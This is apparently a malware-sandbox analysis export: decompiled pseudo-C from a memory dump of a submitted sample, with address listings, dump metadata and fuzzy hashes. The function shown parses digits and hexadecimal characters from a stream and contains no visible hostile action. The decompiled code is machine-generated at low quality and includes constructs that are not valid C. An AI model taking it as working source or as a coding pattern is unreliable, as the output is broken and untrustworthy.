								_v96 = _t547;
								_t382 =  *(_v68 + 0x64) & 0x000000ff;
								_v71 = _t382;
								if(_t382 != 0) {
									__eflags = _v70;
									if(_v70 != 0) {
										_t499 = _v48;
										_t575 = 0;
										_t568 = 0;
										_v72 = 0;
										_v71 = _v70 & 0x000000ff;
										_v70 = 0;
										goto L32;
									}
									_v72 = 0;
									_t575 = 0;
									_t568 = 0;
									_t402 = _v68 + 0x4e;
									__eflags = _t402;
									_v100 = _t402;
									while(1) {
										_t551 = _v68;
										_t403 =  *(_t551 + 0x10) & 0x000000ff;
										__eflags = _t403;
										if(_t403 == 0) {
											goto L104;
										}
										__eflags =  *((intOrPtr*)(_t551 + 0x25)) - _t498;
										if( *((intOrPtr*)(_t551 + 0x25)) == _t498) {
											_t554 = _v76;
											_t499 = _v48;
											__eflags = _t554;
											if(_t554 == 0) {
												_v71 = 0;
												_v70 = _t403;
												goto L32;
											}
											_t432 = _v52;
											_v76 = _t554;
											_t287 = _t499 + 1; // 0x1
											_t525 = _t287;
											_v104 = _t525;
											__eflags = _t432 -  &_v44;
											_t557 =  !=  ? _v44 : 0xf;
											__eflags = _t525 - ( !=  ? _v44 : 0xf);
											if(_t525 > ( !=  ? _v44 : 0xf)) {
												 *(_t581 + 0xc) = 1;
												_v116 = 0;
												_v120 = 0;
												_v124 = _t499;
												E004B26D0( &_v52);
												_t581 = _t581 - 0x10;
												_t432 = _v52;
											}
											_v76 = 0;
											 *((char*)(_t432 + _t499)) = _v76 & 0x000000ff;
											_t551 = _v104;
											_v48 = _t551;
											 *((char*)(_v52 + _t551)) = 0;
											L108:
											_t522 = _a4;
											_t412 =  *(_t522 + 8);
											__eflags = _t412 -  *((intOrPtr*)(_t522 + 0xc));
											if(_t412 >=  *((intOrPtr*)(_t522 + 0xc))) {
												L115:
												 *((intOrPtr*)( *_t522 + 0x28))();
												_t522 = _a4;
												_a8 = 0xffffffff;
												__eflags = _t522;
												if(_t522 != 0) {
													L110:
													_v104 = 0;
													__eflags =  *(_t522 + 8) -  *((intOrPtr*)(_t522 + 0xc));
													if( *(_t522 + 8) >=  *((intOrPtr*)(_t522 + 0xc))) {
														_t416 =  *((intOrPtr*)( *_t522 + 0x24))();
														_v104 = 0;
														__eflags = _t416 - 0xffffffff;
														if(_t416 == 0xffffffff) {
															_a4 = 0;
															_v104 = _v71 & 0x000000ff;
														}
													}
													L111:
													_t523 = _a12;
													__eflags = _a16 - 0xffffffff;
													_t552 = _t551 & 0xffffff00 | _a16 == 0xffffffff;
													__eflags = _t523;
													_t503 = (_t501 & 0xffffff00 | _t523 != 0x00000000) & _t552;
													__eflags = _t503;
													if(_t503 != 0) {
														_t552 = 0;
														__eflags =  *((intOrPtr*)(_t523 + 8)) -  *((intOrPtr*)(_t523 + 0xc));
														if( *((intOrPtr*)(_t523 + 8)) >=  *((intOrPtr*)(_t523 + 0xc))) {
															_t422 =  *((intOrPtr*)( *_t523 + 0x24))();
															_t552 = 0;
															__eflags = _t422 - 0xffffffff;
															if(_t422 == 0xffffffff) {
																_a12 = 0;
																_t552 = _t503;
															}
														}
													}
													__eflags = _v104 - _t552;
													if(_v104 != _t552) {
														_t524 = _a4;
														_t498 = _a8;
														__eflags = _t524;
														if(_t524 != 0) {
															__eflags = _t498 - 0xffffffff;
															if(_t498 == 0xffffffff) {
																_t418 =  *(_t524 + 8);
																__eflags = _t418 -  *((intOrPtr*)(_t524 + 0xc));
																if(_t418 >=  *((intOrPtr*)(_t524 + 0xc))) {
																	_t420 =  *((intOrPtr*)( *_t524 + 0x24))();
																	_t498 = _t420;
																	__eflags = _t420 - 0xffffffff;
																	if(_t420 == 0xffffffff) {
																		_a4 = 0;
																		_t498 = 0xffffffff;
																	}
																} else {
																	_t498 =  *_t418 & 0x000000ff;
																}
															}
														}
														continue;
													} else {
														_t499 = _v48;
														goto L32;
													}
												}
												_v104 = _v71 & 0x000000ff;
												goto L111;
											}
											L109:
											_t413 = _t412 + 1;
											__eflags = _t413;
											_a8 = 0xffffffff;
											 *(_t522 + 8) = _t413;
											goto L110;
										}
										L104:
										_t404 = _v68;
										__eflags = _t498 -  *((intOrPtr*)(_t404 + 0x24));
										if(_t498 ==  *((intOrPtr*)(_t404 + 0x24))) {
											goto L72;
										}
										_t501 = _t498;
										_t407 = memchr(_v100, _t501, _v88);
										__eflags = _t407;
										if(_t407 == 0) {
											goto L72;
										}
										_t408 = _t407 - _v100;
										_t520 = _t408;
										__eflags = _t520 - 0xf;
										_t521 =  >  ? _t408 - 6 : _t520;
										__eflags = _v92 - _t575;
										asm("sbb eax, edi");
										if(_v92 < _t575) {
											_t522 = _a4;
											_v72 = _v71 & 0x000000ff;
											_t412 =  *(_t522 + 8);
											__eflags = _t412 -  *((intOrPtr*)(_t522 + 0xc));
											if(_t412 <  *((intOrPtr*)(_t522 + 0xc))) {
												goto L109;
											}
											goto L115;
										}
										_t429 = _t575;
										_t551 = _t429 * _v84 >> 0x20;
										_t576 = _t429 * _v84;
										_t527 =  !_t521;
										asm("cdq");
										_t568 = _t551 + _v80 * _t575 + _v84 * _t568;
										__eflags = _t527 - _t576;
										_t501 =  !_t551;
										asm("sbb ebx, edi");
										_v72 = _v72 | _t527 & 0xffffff00 | _t527 - _t576 > 0x00000000;
										_t575 = _t576 + _t521;
										asm("adc edi, edx");
										_t246 =  &_v76;
										 *_t246 = _v76 + 1;
										__eflags =  *_t246;
										goto L108;
									}
								} else {
									if(_v70 != 0) {
										_t499 = _v48;
										_v72 = 0;
										_t575 = 0;
										_v70 = 0;
										_t568 = 0;
										_v71 = _v70 & 0x000000ff;
										goto L32;
									} else {
										_v72 = 0;
										_t575 = 0;
										_t568 = 0;
										_v100 = (_v88 & 0x000000ff) + 0x30;
										while(1) {
											_t529 = _t498;
											if(_v88 > 0xa) {
												goto L69;
											}
											L21:
											if(_t498 <= 0x2f || _v100 <= _t498) {
												L72:
												_v71 = 0;
												__eflags = _v48;
												if(_v48 == 0) {
													goto L33;
												}
												goto L73;
											} else {
												L23:
												_t530 = _t529 - 0x30;
												L24:
												if(_t530 == 0xffffffff) {
													goto L72;
												}
												L25:
												asm("sbb eax, edi");
												if(_v92 < _t575) {
													_t531 = _a4;
													_v72 = 1;
													_t440 =  *((intOrPtr*)(_t531 + 8));
													__eflags = _t440 -  *((intOrPtr*)(_t531 + 0xc));
													if(_t440 <  *((intOrPtr*)(_t531 + 0xc))) {
														L27:
														_a8 = 0xffffffff;
														 *((intOrPtr*)(_t531 + 8)) = _t440 + 1;
														L28:
														_v71 = 0;
														if( *((intOrPtr*)(_t531 + 8)) >=  *((intOrPtr*)(_t531 + 0xc))) {
															_t444 =  *((intOrPtr*)( *_t531 + 0x24))();
															_v71 = 0;
															__eflags = _t444 - 0xffffffff;
															if(_t444 == 0xffffffff) {
																_a4 = 0;
																_v71 = 1;
															}
														}
														L29:
														_t532 = _a12;
														_t509 = (_t498 & 0xffffff00 | _t532 != 0x00000000) & (_t547 & 0xffffff00 | _a16 == 0xffffffff);
														if(_t509 != 0) {
															_t547 = 0;
															__eflags =  *((intOrPtr*)(_t532 + 8)) -  *((intOrPtr*)(_t532 + 0xc));
															if( *((intOrPtr*)(_t532 + 8)) >=  *((intOrPtr*)(_t532 + 0xc))) {
																_t451 =  *((intOrPtr*)( *_t532 + 0x24))();
																_t547 = 0;
																__eflags = _t451 - 0xffffffff;
																if(_t451 == 0xffffffff) {
																	_a12 = 0;
																	_t547 = _t509;
																}
															}
														}
														if(_v71 != _t547) {
															_t498 = _a8;
															_t533 = _a4;
															__eflags = _t498 - 0xffffffff;
															if(_t498 != 0xffffffff) {
																while(1) {
																	_t529 = _t498;
																	if(_v88 > 0xa) {
																		goto L69;
																	}
																	goto L21;
																}
															}
															__eflags = _t533;
															if(_t533 == 0) {
																while(1) {
																	_t529 = _t498;
																	if(_v88 > 0xa) {
																		goto L69;
																	}
																	goto L21;
																}
															}
															_t446 =  *(_t533 + 8);
															__eflags = _t446 -  *((intOrPtr*)(_t533 + 0xc));
															if(_t446 >=  *((intOrPtr*)(_t533 + 0xc))) {
																_t448 =  *((intOrPtr*)( *_t533 + 0x24))();
																_t498 = _t448;
																__eflags = _t448 - 0xffffffff;
																if(_t448 != 0xffffffff) {
																	continue;
																}
																__eflags = _v88 - 0xa;
																_a4 = 0;
																if(_v88 <= 0xa) {
																	goto L72;
																}
																_t498 = 0xffffffff;
																_t529 = 0xffffffff;
																L70:
																_t169 = _t498 - 0x61; // 0x9e
																__eflags = _t169 - 5;
																if(_t169 > 5) {
																	_t498 = _t498 - 0x41;
																	__eflags = _t498 - 5;
																	if(_t498 > 5) {
																		goto L72;
																	} else {
																		_t530 = _t529 - 0x37;
																		goto L24;
																	}
																}
																_t530 = _t529 - 0x57;
																__eflags = _t530 - 0xffffffff;
																if(_t530 != 0xffffffff) {
																	goto L25;
																}
																goto L72;
															} else {
																_t498 =  *_t446 & 0x000000ff;
																while(1) {
																	_t529 = _t498;
																	if(_v88 > 0xa) {
																		goto L69;
																	}
																	goto L21;
																}
															}
														} else {
															_v71 = 1;
															_t499 = _v48;
															L32:
															if(_t499 != 0) {
																L73:
																_v124 = _v76;
																E004B2860( &_v52);
																_t548 = _v68;
																_v120 =  &_v52;
																_v124 =  *((intOrPtr*)(_t548 + 0xc));
																_v128 =  *((intOrPtr*)(_t548 + 8));
																_t389 = E004BE6E0();
																__eflags = _t389;
																if(_t389 == 0) {
																	 *_a24 = 4;
																}
																__eflags = _v69;
																if(_v69 != 0) {
																	L76:
																	__eflags = _v70;
																	if(_v70 != 0) {
																		goto L35;
																	} else {
																		__eflags = _v72;
																		if(_v72 != 0) {
																			_t395 = _a28;
																			 *_t395 = 0xffffffff;
																			_t395[1] = 0xffffffff;
																			 *_a24 = 4;
																		} else {
																			__eflags = _v105;
																			if(_v105 != 0) {
																				_t575 =  ~_t575;
																				asm("adc edi, 0x0");
																				_t568 =  ~_t568;
																			}
																			_t397 = _a28;
																			 *_t397 = _t575;
																			_t397[1] = _t568;
																		}
																		goto L36;
																	}
																} else {
																	__eflags = _v76 | _v48;
																	if((_v76 | _v48) == 0) {
																		L35:
																		_t391 = _a28;
																		 *_t391 = 0;
																		_t391[1] = 0;
																		 *_a24 = 4;
																		L36:
																		if(_v71 != 0) {
																			 *_a24 =  *_a24 | 0x00000002;
																		}
																		_t519 = _v52;
																		_t393 = _a4;
																		_t549 = _a8;
																		if(_t519 !=  &_v44) {
																			_v124 = _t519;
																			_v68 = _t393;
																			_v64 = _t549;
																			L004C33F0();
																			_t393 = _v68;
																		}
																		return _t393;
																	}
																	goto L76;
																}
															}
															L33:
															if(_v76 != 0 || _v69 == 1) {
																goto L76;
															} else {
																goto L35;
															}
														}
													}
													L82:
													 *((intOrPtr*)( *_t531 + 0x28))();
													_t531 = _a4;
													_a8 = 0xffffffff;
													__eflags = _t531;
													if(_t531 != 0) {
														goto L28;
													} else {
														_v71 = 1;
														goto L29;
													}
												}
												_t455 = _v84 * _t568;
												_t568 = _t530 >> 0x1f;
												_t456 = _t575;
												_t457 = _t456 * _v84;
												_t547 = (_t456 * _v84 >> 0x20) + _v80 * _t575 + _t455;
												_t498 =  !_t568;
												asm("sbb ebx, edx");
												_v72 = _v72 |  !_t530 & 0xffffff00 |  !_t530 - _t457 > 0x00000000;
												_t531 = _a4;
												_t575 = _t530 + _t457;
												asm("adc edi, edx");
												_v76 = _v76 + 1;
												_t440 =  *((intOrPtr*)(_t531 + 8));
												if(_t440 >=  *((intOrPtr*)(_t531 + 0xc))) {
													goto L82;
												}
												goto L27;
											}
											L69:
											_t168 = _t498 - 0x30; // 0xcf
											__eflags = _t168 - 9;
											if(_t168 <= 9) {
												goto L23;
											}
											goto L70;
										}
									}
								}
							}
							L15:
							_v88 = _t567;
							goto L16;
						}
						L46:
						_t459 = _v68;
						__eflags =  *((intOrPtr*)(_t459 + 0x24)) - _t498;
						if( *((intOrPtr*)(_t459 + 0x24)) == _t498) {
							goto L99;
						}
						__eflags =  *((intOrPtr*)(_t459 + 0x4e)) - _t498;
						if( *((intOrPtr*)(_t459 + 0x4e)) == _t498) {
							_t547 = _v69 & 0x000000ff ^ 0x00000001;
							__eflags = _t578 - 0xa;
							_t461 = _t459 & 0xffffff00 | _t578 == 0x0000000a | _t547;
							__eflags = _t461;
							if(_t461 == 0) {
								L49:
								_t462 = _v68;
								__eflags =  *((intOrPtr*)(_t462 + 0x4c)) - _t498;
								if( *((intOrPtr*)(_t462 + 0x4c)) == _t498) {
									L51:
									_t578 - 0x10 = _t572;
									_t547 = _t547 & 0xffffff00 | _t572 == 0x00000000;
									_t464 = _t462 & 0xffffff00 | _t578 == 0x00000010 | _t547;
									__eflags = _t464;
									if(_t464 == 0) {
										_t567 = _t578;
										_v70 = _t464;
										_v69 = 1;
										goto L15;
									} else {
										_v76 = 0;
										_t578 = 0x10;
										_v69 = 0;
										L53:
										_t538 = _a4;
										_t465 =  *(_t538 + 8);
										__eflags = _t465 -  *((intOrPtr*)(_t538 + 0xc));
										if(_t465 >=  *((intOrPtr*)(_t538 + 0xc))) {
											L63:
											 *((intOrPtr*)( *_t538 + 0x28))();
											_t539 = _a4;
											_a8 = 0xffffffff;
											__eflags = _t539;
											if(_t539 != 0) {
												L55:
												_v84 = 0;
												_t468 =  *(_t539 + 0xc);
												__eflags =  *(_t539 + 8) - _t468;
												if( *(_t539 + 8) >= _t468) {
													_t468 =  *((intOrPtr*)( *_t539 + 0x24))();
													__eflags = _t468 - 0xffffffff;
													if(_t468 == 0xffffffff) {
														_a4 = 0;
														_v84 = 1;
													}
												}
												goto L56;
											} else {
												_v84 = 1;
												L56:
												_t540 = _a12;
												_a16 - 0xffffffff = _t540;
												_t471 = (_t468 & 0xffffff00 | _t540 != 0x00000000) & (_t547 & 0xffffff00 | _a16 == 0xffffffff);
												__eflags = _t471;
												_v88 = _t471;
												if(_t471 != 0) {
													_t547 = 0;
													__eflags =  *((intOrPtr*)(_t540 + 8)) -  *((intOrPtr*)(_t540 + 0xc));
													if( *((intOrPtr*)(_t540 + 8)) >=  *((intOrPtr*)(_t540 + 0xc))) {
														_v70 = 0;
														_t478 =  *((intOrPtr*)( *_t540 + 0x24))();
														_t547 = _v70 & 0x000000ff;
														__eflags = _t478 - 0xffffffff;
														if(_t478 == 0xffffffff) {
															_a12 = 0;
															_t547 = _v88 & 0x000000ff;
														}
													}
												}
												__eflags = _v84 - _t547;
												if(_v84 != _t547) {
													_t537 = _a4;
													_t498 = _a8;
													__eflags = _t537;
													if(_t537 != 0) {
														__eflags = _t498 - 0xffffffff;
														if(_t498 == 0xffffffff) {
															_t474 =  *(_t537 + 8);
															__eflags = _t474 -  *((intOrPtr*)(_t537 + 0xc));
															if(_t474 >=  *((intOrPtr*)(_t537 + 0xc))) {
																_t476 =  *((intOrPtr*)( *_t537 + 0x24))();
																__eflags = _t476 - 0xffffffff;
																if(_t476 == 0xffffffff) {
																	_a4 = 0;
																	_t498 = 0xffffffff;
																} else {
																	_t498 = _t476;
																}
															} else {
																_t498 =  *_t474 & 0x000000ff;
															}
														}
													}
													__eflags = _v69;
													if(_v69 == 0) {
														goto L99;
													} else {
														_t458 =  *(_v68 + 0x10) & 0x000000ff;
														L44:
														__eflags = _t458;
														if(_t458 == 0) {
															goto L46;
														}
														goto L45;
													}
												} else {
													_t567 = _t578;
													_v70 = 1;
													goto L14;
												}
											}
										}
										L54:
										_t479 = _t465 + 1;
										__eflags = _t479;
										_a8 = 0xffffffff;
										 *(_t539 + 8) = _t479;
										goto L55;
									}
								}
								__eflags =  *((intOrPtr*)(_t462 + 0x4d)) - _t498;
								if( *((intOrPtr*)(_t462 + 0x4d)) != _t498) {
									_t567 = _t578;
									_v70 = 0;
									_v69 = 1;
									goto L14;
								}
								goto L51;
							}
							_t572 = _t578 - 8;
							_t547 = _t547 & 0xffffff00 | _t578 == 0x00000008;
							_t542 = _t537 & 0xffffff00 | _t572 == 0x00000000 | _t547;
							__eflags = _t542;
							_v69 = _t542;
							if(_t542 == 0) {
								_v76 = _v76 + 1;
								_v69 = _t461;
								goto L53;
							}
							_t539 = _a4;
							_v76 = 0;
							_t578 = 8;
							_t465 =  *(_t539 + 8);
							__eflags = _t465 -  *(_t539 + 0xc);
							if(_t465 <  *(_t539 + 0xc)) {
								goto L54;
							} else {
								goto L63;
							}
						}
						__eflags = _v69;
						if(_v69 == 0) {
							goto L99;
						}
						goto L49;
					}
				}
			}

0x00467ee0
0x00467ee4
0x00467ef1
0x00467ef7
0x00467eff
0x00467f05
0x00467f08
0x00467f0b
0x00467f10
0x00467f1a
0x00467f1f
0x00467f1f
0x00467f22
0x00467f29
0x00467f31
0x00467f33
0x00468753
0x00468755
0x00468758
0x0046875b
0x00468763
0x00468766
0x00468769
0x0046876d
0x00468770
0x00468776
0x0046877d
0x0046877d
0x00468770
0x0046875b
0x00467f39
0x00467f40
0x00467f48
0x00467f4a
0x00467f4d
0x00468720
0x00468725
0x00468728
0x00468730
0x00468733
0x00468736
0x0046873a
0x0046873d
0x00468743
0x0046874a
0x0046874a
0x0046873d
0x00468728
0x00467f55
0x004686c0
0x004686c4
0x004686c6
0x004686ca
0x004686d1
0x00000000
0x00467f5b
0x00467f5b
0x00467f5e
0x00467f64
0x004687b0
0x004687b3
0x004687b6
0x004688d3
0x004688d6
0x004688d9
0x00468956
0x0046895d
0x004688db
0x004688db
0x004688db
0x004687bc
0x004687bc
0x004687bc
0x004687b6
0x00467f6e
0x00467f75
0x00467f7b
0x00467f7b
0x00467f7f
0x00467f8c
0x004681a2
0x004681a5
0x004681a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004681a8
0x00467f92
0x00467f92
0x00467f98
0x00000000
0x00000000
0x00467f9e
0x00467fa1
0x00467fa7
0x004688c9
0x00467fad
0x00467fb0
0x00467fb0
0x00467fb6
0x00467fb9
0x00467fc0
0x00467fc3
0x00467fc8
0x00467fcf
0x00467fd2
0x00467fd5
0x00467fdb
0x004687d8
0x004687dd
0x00000000
0x00000000
0x00000000
0x00000000
0x004687c4
0x004687c4
0x004681b0
0x004681b0
0x004681b7
0x004681b9
0x004681bb
0x004681bf
0x004681bf
0x004681c5
0x004681c5
0x004681c8
0x004681cb
0x004684e0
0x004684e0
0x004684e2
0x00467fe1
0x00467fe1
0x00467feb
0x00467ff0
0x00467ff3
0x00467ffa
0x00468000
0x00468008
0x004686e0
0x004686ea
0x004686ef
0x004686ef
0x00468010
0x00468014
0x00468015
0x0046801c
0x00468020
0x00468028
0x0046802b
0x00468033
0x00468039
0x0046803c
0x00468040
0x00468045
0x004684f0
0x004684f4
0x00468922
0x00468925
0x00468927
0x00468929
0x0046892d
0x00468930
0x00000000
0x00468930
0x004684fd
0x00468501
0x00468503
0x00468505
0x00468505
0x00468508
0x0046850b
0x0046850b
0x0046850e
0x00468512
0x00468514
0x00000000
0x00000000
0x00468516
0x00468519
0x00468670
0x00468673
0x00468676
0x00468678
0x00468939
0x0046893d
0x00000000
0x0046893d
0x0046867e
0x00468681
0x00468687
0x00468687
0x0046868a
0x0046868d
0x00468694
0x00468698
0x0046869a
0x00468812
0x0046881d
0x00468825
0x0046882d
0x00468830
0x00468835
0x00468838
0x00468838
0x004686a4
0x004686ab
0x004686ae
0x004686b4
0x004686b7
0x0046859a
0x0046859a
0x0046859d
0x004685a0
0x004685a3
0x004685f4
0x004685f6
0x004685f9
0x004685fc
0x00468603
0x00468605
0x004685b2
0x004685b2
0x004685b9
0x004685bc
0x004688a4
0x004688a7
0x004688ab
0x004688ae
0x004688b8
0x004688bf
0x004688bf
0x004688ae
0x004685c2
0x004685c2
0x004685c5
0x004685c9
0x004685cc
0x004685d1
0x004685d1
0x004685d3
0x00468640
0x00468645
0x00468648
0x0046864c
0x0046864f
0x00468651
0x00468654
0x0046865a
0x00468661
0x00468661
0x00468654
0x00468648
0x004685d5
0x004685d8
0x00468610
0x00468613
0x00468616
0x00468618
0x0046861e
0x00468621
0x00468627
0x0046862a
0x0046862d
0x004688e4
0x004688e7
0x004688e9
0x004688ec
0x004688f2
0x004688f9
0x004688f9
0x00468633
0x00468633
0x00468633
0x0046862d
0x00468621
0x00000000
0x004685da
0x004685da
0x00000000
0x004685da
0x004685d8
0x0046860b
0x00000000
0x0046860b
0x004685a5
0x004685a5
0x004685a5
0x004685a8
0x004685af
0x00000000
0x004685af
0x0046851f
0x0046851f
0x00468522
0x00468525
0x00000000
0x00000000
0x0046852e
0x0046853f
0x00468544
0x00468546
0x00000000
0x00000000
0x0046854c
0x0046854f
0x00468554
0x00468557
0x0046855d
0x00468560
0x00468562
0x004685e6
0x004685e9
0x004685ec
0x004685ef
0x004685f2
0x00000000
0x00000000
0x00000000
0x004685f2
0x00468574
0x00468576
0x00468579
0x0046857f
0x00468581
0x00468582
0x00468584
0x00468588
0x0046858a
0x0046858f
0x00468592
0x00468594
0x00468596
0x00468596
0x00468596
0x00000000
0x00468596
0x0046804b
0x0046804f
0x00468907
0x0046890a
0x0046890e
0x00468910
0x00468914
0x00468916
0x00000000
0x00468055
0x00468059
0x0046805d
0x0046805f
0x00468064
0x00468070
0x00468074
0x00468077
0x00000000
0x00000000
0x0046807d
0x00468080
0x00468342
0x00468345
0x00468349
0x0046834b
0x00000000
0x00000000
0x00000000
0x0046808f
0x0046808f
0x0046808f
0x00468092
0x00468095
0x00000000
0x00000000
0x0046809b
0x004680a1
0x004680a3
0x004683d0
0x004683d3
0x004683d7
0x004683da
0x004683dd
0x004680ee
0x004680f1
0x004680f8
0x004680fb
0x004680fb
0x00468105
0x004687f2
0x004687f5
0x004687f9
0x004687fc
0x00468802
0x00468809
0x00468809
0x004687fc
0x0046810b
0x0046810b
0x0046811a
0x0046811c
0x00468470
0x00468475
0x00468478
0x00468480
0x00468483
0x00468485
0x00468488
0x0046848e
0x00468495
0x00468495
0x00468488
0x00468478
0x00468125
0x00468440
0x00468443
0x00468446
0x00468449
0x00468070
0x00468074
0x00468077
0x00000000
0x00000000
0x00000000
0x00468077
0x00468070
0x0046844f
0x00468451
0x00468070
0x00468074
0x00468077
0x00000000
0x00000000
0x00000000
0x00468077
0x00468070
0x00468457
0x0046845a
0x0046845d
0x00468874
0x00468877
0x00468879
0x0046887c
0x00000000
0x00000000
0x00468882
0x00468886
0x0046888d
0x00000000
0x00000000
0x00468893
0x00468898
0x0046832b
0x0046832b
0x0046832e
0x00468330
0x004684a0
0x004684a3
0x004684a6
0x00000000
0x004684ac
0x004684ac
0x00000000
0x004684ac
0x004684a6
0x00468336
0x00468339
0x0046833c
0x00000000
0x00000000
0x00000000
0x00468463
0x00468463
0x00468070
0x00468074
0x00468077
0x00000000
0x00000000
0x00000000
0x00468077
0x00468070
0x0046812b
0x0046812b
0x0046812f
0x00468132
0x00468134
0x00468351
0x00468358
0x0046835b
0x00468360
0x00468369
0x00468370
0x00468377
0x0046837a
0x0046837f
0x00468381
0x004687a5
0x004687a5
0x00468387
0x0046838b
0x00468399
0x00468399
0x0046839d
0x00000000
0x004683a3
0x004683a3
0x004683a7
0x00468784
0x00468787
0x0046878d
0x00468797
0x004683ad
0x004683ad
0x004683b1
0x004683b3
0x004683b5
0x004683b8
0x004683b8
0x004683ba
0x004683bd
0x004683bf
0x004683bf
0x00000000
0x004683a7
0x0046838d
0x00468390
0x00468393
0x0046814f
0x0046814f
0x00468152
0x00468158
0x00468162
0x00468168
0x0046816c
0x00468171
0x00468171
0x00468174
0x0046817a
0x0046817d
0x00468182
0x00468184
0x00468187
0x0046818a
0x0046818d
0x00468192
0x00468195
0x0046819f
0x0046819f
0x00000000
0x00468393
0x0046838b
0x0046813a
0x0046813f
0x00000000
0x00000000
0x00000000
0x00000000
0x0046813f
0x00468125
0x004683e3
0x004683e5
0x004683e8
0x004683eb
0x004683f2
0x004683f4
0x00000000
0x004683fa
0x004683fa
0x00000000
0x004683fa
0x004683f4
0x004680b1
0x004680b9
0x004680be
0x004680c4
0x004680c7
0x004680cd
0x004680cf
0x004680d4
0x004680d7
0x004680da
0x004680dc
0x004680de
0x004680e2
0x004680e8
0x00000000
0x00000000
0x00000000
0x004680e8
0x00468320
0x00468320
0x00468323
0x00468325
0x00000000
0x00000000
0x00000000
0x00468325
0x00468070
0x0046804f
0x00468045
0x00467fed
0x00467fed
0x00000000
0x00467fed
0x004681d1
0x004681d1
0x004681d4
0x004681d7
0x00000000
0x00000000
0x004681dd
0x004681e0
0x00468284
0x00468287
0x0046828d
0x0046828d
0x0046828f
0x004681f0
0x004681f0
0x004681f3
0x004681f6
0x00468201
0x00468207
0x00468209
0x0046820c
0x0046820c
0x0046820e
0x0046884f
0x00468851
0x00468854
0x00000000
0x00468214
0x00468214
0x0046821b
0x00468220
0x00468224
0x00468224
0x00468227
0x0046822a
0x0046822d
0x004682d0
0x004682d2
0x004682d5
0x004682d8
0x004682df
0x004682e1
0x00468240
0x00468240
0x00468244
0x00468247
0x0046824a
0x00468702
0x00468705
0x00468708
0x0046870e
0x00468715
0x00468715
0x00468708
0x00000000
0x004682e7
0x004682e7
0x00468250
0x00468250
0x0046825a
0x0046825f
0x0046825f
0x00468261
0x00468264
0x00468403
0x00468408
0x0046840b
0x00468413
0x00468416
0x00468419
0x0046841d
0x00468420
0x00468426
0x0046842d
0x0046842d
0x00468420
0x0046840b
0x0046826a
0x0046826d
0x004682f0
0x004682f3
0x004682f6
0x004682f8
0x004682fa
0x004682fd
0x004684b4
0x004684b7
0x004684ba
0x0046885f
0x00468862
0x00468865
0x00468945
0x0046894c
0x0046886b
0x0046886b
0x0046886b
0x004684c0
0x004684c0
0x004684c0
0x004684ba
0x004682fd
0x00468303
0x00468307
0x00000000
0x0046830d
0x00468310
0x004681c1
0x004681c1
0x004681c3
0x00000000
0x00000000
0x00000000
0x004681c3
0x00468273
0x00468273
0x00468275
0x00000000
0x00468275
0x0046826d
0x004682e1
0x00468233
0x00468233
0x00468233
0x00468236
0x0046823d
0x00000000
0x0046823d
0x0046820e
0x004681f8
0x004681fb
0x00468840
0x00468842
0x00468846
0x00000000
0x00468846
0x00000000
0x004681fb
0x0046829a
0x0046829d
0x004682a0
0x004682a0
0x004682a2
0x004682a5
0x004684d0
0x004684d4
0x00000000
0x004684d4
0x004682ab
0x004682ae
0x004682b5
0x004682ba
0x004682bd
0x004682c0
0x00000000
0x00000000
0x00000000
0x00000000
0x004682c0
0x004681e6
0x004681ea
0x00000000
0x00000000
0x00000000
0x004681ea
0x00467f7f

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad78abc57776e43d541d5394742d6b0bd4e99e0a96fd026a7fe106b1d3dcc21f
Instruction ID: ab9201b231582699d2d9aef649fb56264e39b9bcdbc5ed98ea6d83eb5ea2a35b
Opcode Fuzzy Hash: ad78abc57776e43d541d5394742d6b0bd4e99e0a96fd026a7fe106b1d3dcc21f
Instruction Fuzzy Hash: 6E62A2709043488FDB10CF68C49479EBBB1AF05324F28875EE8659B392EB799C47CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004669B0 Relevance: 1.9, APIs: 1, Instructions: 667
COMMONCrypto

Download Yara Rule

C-Code - Quality: 40%

			E004669B0(void* __eflags, signed int _a4, int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int* _a24, short* _a28) {
				void* _v16;
				char _v44;
				signed int _v48;
				char _v52;
				void* _v53;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				int _v80;
				signed int _v81;
				signed int _v82;
				signed int _v83;
				char _v84;
				signed int _v88;
				void* _v92;
				signed char _v96;
				signed int _v116;
				signed int _v120;
				char _v124;
				char _v128;
				signed int _t355;
				signed char _t357;
				signed int _t363;
				signed int _t371;
				signed int _t375;
				signed int _t387;
				signed int _t390;
				void* _t391;
				void* _t392;
				signed int _t394;
				signed int _t395;
				void* _t398;
				signed char* _t400;
				int _t402;
				void* _t404;
				char _t410;
				void* _t418;
				intOrPtr _t419;
				void* _t423;
				signed char* _t425;
				int _t427;
				void* _t433;
				signed int _t434;
				signed char _t437;
				signed int _t438;
				signed int _t441;
				signed char _t444;
				signed char* _t446;
				int _t448;
				void* _t450;
				signed int _t451;
				intOrPtr _t452;
				signed char _t456;
				signed char* _t460;
				int _t462;
				void* _t464;
				signed int _t467;
				signed int _t468;
				int _t469;
				signed int _t470;
				signed short _t473;
				signed int _t475;
				signed short _t476;
				signed char _t478;
				intOrPtr* _t481;
				intOrPtr* _t482;
				char _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t491;
				signed char _t492;
				signed int _t494;
				intOrPtr* _t495;
				signed int _t496;
				intOrPtr* _t498;
				intOrPtr* _t499;
				signed int _t500;
				signed int _t501;
				signed int _t502;
				signed int _t503;
				signed char _t505;
				signed int _t506;
